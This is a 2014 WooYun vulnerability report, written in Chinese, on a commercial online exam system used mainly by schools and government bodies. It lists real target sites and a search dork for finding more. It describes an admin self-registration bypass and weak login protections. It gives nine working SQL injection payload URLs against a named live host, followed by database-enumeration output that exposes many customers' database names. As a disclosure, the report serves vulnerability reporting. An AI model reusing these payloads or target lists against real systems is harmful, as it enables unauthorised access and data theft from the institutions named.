当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060264

漏洞标题：某通用型在线考试系统多处SQL注入及注册管理员等漏洞

相关厂商：cncert国家互联网应急中心

漏洞作者： xfkxfk

提交时间：2014-05-12 11:33

修复时间：2014-08-10 11:34

公开时间：2014-08-10 11:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-12： 细节已通知厂商并且等待厂商处理中
2014-05-15： 厂商已经确认，细节仅向厂商公开
2014-05-18： 细节向第三方安全合作伙伴开放
2014-07-09： 细节向核心白帽子及相关领域专家公开
2014-07-19： 细节向普通白帽子公开
2014-07-29： 细节向实习白帽子公开
2014-08-10： 细节向公众公开

简要描述：

~~

详细说明：

google关键字：版本信息：在线考试系统
案例：
http://xueyou.52edu.org/Index.aspx
http://ks.ahjzs.net/Index.aspx
http://exam2.timber2005.com/Index.aspx
http://exam.iflysse.com/Login.aspx
http://124.128.220.140:6006/Login.aspx
http://116.228.52.53/login.aspx
http://61.175.232.3/default.aspx
http://58.221.172.30:9898/Default.aspx
大部分都是学校，政府部门，事业单位，企业使用。

漏洞证明：

登录认证设计缺陷
1、在后台登录时，没有验证码，可以进行爆破
2、且在用户名错误时会有提示，给爆破带来了帮助
3、在登录后，添加通讯录时，可以获取全部的注册会员用户名信息，加快爆破
注册管理员漏洞
登录地址：http://xueyou.52edu.org/Index.aspx
注册地址：http://xueyou.52edu.org/system/stu_user_regist.aspx
部分网站关闭了注册功能，但是可以直接访问注册地址继续注册。
在注册时可选择部门和岗位：

_2014-05-10T17-52-09.542Z.png


注册成功后，登录，即为管理员：

_2014-05-10T17-56-11.950Z.png


SQL注入漏洞
第一处SQL注入:
http://xueyou.52edu.org/web/Search_List.aspx?search=123'
第二处SQL注入:
http://xueyou.52edu.org/Web/Exam_List.aspx?typeid=13 and db_name()>0&subtypeid=13
第三处SQL注入:
http://xueyou.52edu.org/Web/Exam_Info.aspx?infoid=141 and db_name()>0
第四处SQL注入:
http://xueyou.52edu.org/web/User_Sort_List.aspx?infoid=76'
第五处SQL注入:
http://xueyou.52edu.org/web/News_Info.aspx?infoid=4 and db_name()>0
第六处SQL注入:
http://xueyou.52edu.org/Web/Question_Collect_List.aspx?typeid=12' and db_name()>0 --
第七处SQL注入:
http://xueyou.52edu.org/Finance/User_Fill.aspx（POST）__VIEWSTATE=%2FwEPDwULLTE2ODcwOTMyMzdkZOQ4Ei0tWBaUq2w98UWGvuqlvLPu&CARD_ACCOUNT=123%27&CARD_PWD=456'&RECORD_MARK=789%27&infoSave=%E5%85%85++%E5%80%BC
第八处SQL注入:
http://xueyou.52edu.org/info/Notebook_Right.aspx?infoid=4 and db_name()>0
第九处SQL注入:
http://xueyou.52edu.org/info/Message_View.aspx?senduser=admin&infoid=4 and db_name()>0&type=inbox

available databases [55]:
[*] D_60W
[*] LumigentDemoDB
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] Timber_360_cp_QiYe_Ban_shanghai
[*] Timber_360_cp_YuanGong
[*] Timber_BJDX
[*] Timber_Exam_atlskpk
[*] Timber_Exam_Biz_caida
[*] Timber_Exam_Biz_Cddx
[*] Timber_Exam_Biz_Group2
[*] Timber_Exam_Biz_Group_Qujing
[*] Timber_Exam_Biz_guangzhou
[*] Timber_Exam_Biz_He
[*] Timber_Exam_Biz_JL
[*] Timber_Exam_Biz_shanghangxian
[*] Timber_Exam_Biz_tiansu
[*] Timber_Exam_Biz_xieqian
[*] Timber_Exam_Biz_xueyou
[*] Timber_Exam_Biz_zhongda
[*] Timber_Exam_Gov
[*] Timber_Exam_Group
[*] Timber_Exam_HS
[*] Timber_Exam_huazhongshidas
[*] Timber_Exam_kepaishiyou
[*] Timber_Exam_lexiang
[*] Timber_Exam_Lz
[*] Timber_Exam_Org_huazhi
[*] Timber_Exam_Org_nanjingbaitai
[*] Timber_Exam_Org_SHJD
[*] Timber_Exam_QHDRMYH
[*] Timber_Exam_scgyzypx
[*] Timber_Exam_Shangqi
[*] Timber_Exam_sichuanhonghua
[*] Timber_Exam_Somma
[*] Timber_Exam_XinJiaPo2
[*] Timber_Exam_YL
[*] Timber_Exam_Yonyou_Ad_New_dd
[*] Timber_leadercp
[*] Timber_Live_HQYS
[*] Timber_Live_Jiaowuxitong
[*] Timber_PX_Group_kehuyanshi
[*] Timber_PX_Group_youtong
[*] Timber_PX_hsdx
[*] Timber_PX_LJ
[*] Timber_PX_New_yy
[*] Timber_PX_ShCitySchool
[*] Timber_PX_YunStudy
[*] Timber_PX_zy
[*] Timber_SNF
[*] zw.52edu.org

修复方案：

过滤啊

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-05-15 18:43

厂商回复：

CNVD确认并复现所述情况，由CNVD通过公开联系渠道向软件生产厂商通报。

最新状态：

暂无